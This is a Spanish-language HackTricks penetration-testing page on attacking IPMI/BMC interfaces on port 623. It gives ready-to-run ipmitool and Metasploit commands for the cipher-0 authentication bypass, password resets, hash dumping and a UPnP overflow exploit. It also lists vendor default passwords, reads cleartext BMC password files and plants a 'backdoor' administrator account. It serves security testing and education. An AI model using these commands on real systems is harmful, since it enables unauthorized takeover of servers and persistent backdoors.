hacktricks/network-services-pentesting/623-udp-ipmi.md

11 KiB

623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Información Básica

Descripción General de IPMI

Interfaz de Gestión de Plataforma Inteligente (IPMI) ofrece un enfoque estandarizado para la gestión y monitoreo remoto de sistemas informáticos, independiente del sistema operativo o estado de energía. Esta tecnología permite a los administradores de sistemas gestionar sistemas de forma remota, incluso cuando están apagados o no responden, y es especialmente útil para:

  • Configuraciones previas al arranque del sistema operativo
  • Gestión de apagado
  • Recuperación de fallos del sistema

IPMI es capaz de monitorear temperaturas, voltajes, velocidades de ventiladores y fuentes de alimentación, además de proporcionar información de inventario, revisar registros de hardware y enviar alertas a través de SNMP. Esencial para su funcionamiento son una fuente de energía y una conexión LAN.

Desde su introducción por Intel en 1998, IPMI ha sido respaldado por numerosos proveedores, mejorando las capacidades de gestión remota, especialmente con el soporte de la versión 2.0 para serie sobre LAN. Los componentes clave incluyen:

  • Controlador de Gestión de Placa Base (BMC): El microcontrolador principal para las operaciones de IPMI.
  • Buses y Interfaces de Comunicación: Para comunicación interna y externa, incluyendo ICMB, IPMB y varias interfaces para conexiones locales y de red.
  • Memoria IPMI: Para almacenar registros y datos.

https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right

Puerto Predeterminado: 623/UDP/TCP (Normalmente está en UDP, pero también podría estar funcionando en TCP)

Enumeración

Descubrimiento

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Puedes identificar la versión usando:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

Vulnerabilidades de IPMI

En el ámbito de IPMI 2.0, se descubrió un defecto de seguridad significativo por Dan Farmer, exponiendo una vulnerabilidad a través de cipher type 0. Esta vulnerabilidad, documentada en detalle en la investigación de Dan Farmer, permite el acceso no autorizado con cualquier contraseña siempre que se apunte a un usuario válido. Esta debilidad se encontró en varios BMC de fabricantes como HP, Dell y Supermicro, lo que sugiere un problema generalizado en todas las implementaciones de IPMI 2.0.

Bypass de Autenticación de IPMI a través de Cipher 0

Para detectar este defecto, se puede emplear el siguiente escáner auxiliar de Metasploit:

use auxiliary/scanner/ipmi/ipmi_cipher_zero

La explotación de esta falla es alcanzable con ipmitool, como se demuestra a continuación, lo que permite la enumeración y modificación de contraseñas de usuario:

apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

Recuperación de Hash de Contraseña Remota de Autenticación RAKP de IPMI 2.0

Esta vulnerabilidad permite la recuperación de contraseñas hasheadas con sal (MD5 y SHA1) para cualquier nombre de usuario existente. Para probar esta vulnerabilidad, Metasploit ofrece un módulo:

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

Autenticación Anónima de IPMI

Una configuración predeterminada en muchos BMC permite el acceso "anónimo", caracterizado por cadenas de nombre de usuario y contraseña nulas. Esta configuración puede ser explotada para restablecer contraseñas de cuentas de usuario nombradas utilizando ipmitool:

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Supermicro IPMI Contraseñas en texto claro

Una elección de diseño crítica en IPMI 2.0 requiere el almacenamiento de contraseñas en texto claro dentro de los BMC para fines de autenticación. El almacenamiento de estas contraseñas por parte de Supermicro en ubicaciones como /nv/PSBlock o /nv/PSStore plantea preocupaciones de seguridad significativas:

cat /nv/PSBlock

Vulnerabilidad UPnP de Supermicro IPMI

La inclusión de un oyente SSDP UPnP en el firmware IPMI de Supermicro, particularmente en el puerto UDP 1900, introduce un grave riesgo de seguridad. Las vulnerabilidades en el SDK de Intel para Dispositivos UPnP versión 1.3.1, como se detalla en la divulgación de Rapid7, permiten el acceso root al BMC:

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Fuerza Bruta

HP aleatoriza la contraseña predeterminada para su producto Integrated Lights Out (iLO) durante la fabricación. Esta práctica contrasta con otros fabricantes, que tienden a usar credenciales predeterminadas estáticas. A continuación se presenta un resumen de los nombres de usuario y contraseñas predeterminados para varios productos:

  • HP Integrated Lights Out (iLO) utiliza una cadena aleatoria de 8 caracteres como su contraseña predeterminada, mostrando un nivel de seguridad más alto.
  • Productos como iDRAC de Dell, IMM de IBM y Controlador de Gestión Remota Integrado de Fujitsu utilizan contraseñas fácilmente adivinables como "calvin", "PASSW0RD" (con un cero) y "admin" respectivamente.
  • De manera similar, Supermicro IPMI (2.0), Oracle/Sun ILOM y ASUS iKVM BMC también utilizan credenciales predeterminadas simples, con "ADMIN", "changeme" y "admin" sirviendo como sus contraseñas.

Accediendo al Host a través de BMC

El acceso administrativo al Controlador de Gestión de Placa Base (BMC) abre diversas vías para acceder al sistema operativo del host. Un enfoque sencillo implica explotar la funcionalidad de Teclado, Video, Ratón (KVM) del BMC. Esto se puede hacer reiniciando el host a un shell root a través de GRUB (usando init=/bin/sh) o arrancando desde un CD-ROM virtual configurado como disco de rescate. Tales métodos permiten la manipulación directa del disco del host, incluyendo la inserción de puertas traseras, extracción de datos o cualquier acción necesaria para una evaluación de seguridad. Sin embargo, esto requiere reiniciar el host, lo cual es una desventaja significativa. Sin reiniciar, acceder al host en ejecución es más complejo y varía según la configuración del host. Si la consola física o serie del host permanece conectada, puede ser fácilmente tomada a través de las funcionalidades KVM o serial-over-LAN (sol) del BMC mediante ipmitool. Explorar la explotación de recursos de hardware compartidos, como el bus i2c y el chip Super I/O, es un área que requiere más investigación.

Introduciendo Puertas Traseras en BMC desde el Host

Al comprometer un host equipado con un BMC, se puede aprovechar la interfaz local del BMC para insertar una cuenta de usuario de puerta trasera, creando una presencia duradera en el servidor. Este ataque requiere la presencia de ipmitool en el host comprometido y la activación del soporte del controlador BMC. Los siguientes comandos ilustran cómo se puede inyectar una nueva cuenta de usuario en el BMC utilizando la interfaz local del host, lo que elude la necesidad de autenticación. Esta técnica es aplicable a una amplia gama de sistemas operativos, incluyendo Linux, Windows, BSD e incluso DOS.

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

Referencias

{% hint style="success" %} Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks
{% endhint %}